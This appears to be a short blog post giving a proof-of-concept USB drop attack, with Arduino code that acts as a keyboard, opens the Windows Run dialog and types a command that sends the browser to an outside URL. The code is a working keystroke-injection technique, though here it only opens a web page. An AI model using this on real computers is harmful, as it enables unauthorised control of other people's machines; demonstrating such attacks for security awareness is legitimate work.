USB Drop Attack POC using Arduino

Simple POC by using Arduino as a USB HID.

The Arduino will attempt to make the computer go to a specific website via keyboard input.

#include "HID-Project.h"

void setup() {
  // Setup
  Keyboard.begin();
  delay(1000);

  // Attack
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');  
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.println("iexplore https://imsj.dev/tools/test.php");
  Keyboard.press(KEY_ENTER);
  Keyboard.releaseAll();
  delay(1000);

  // End
}

void loop() {
// do nothing
}

Leave a Reply

Your email address will not be published. Required fields are marked *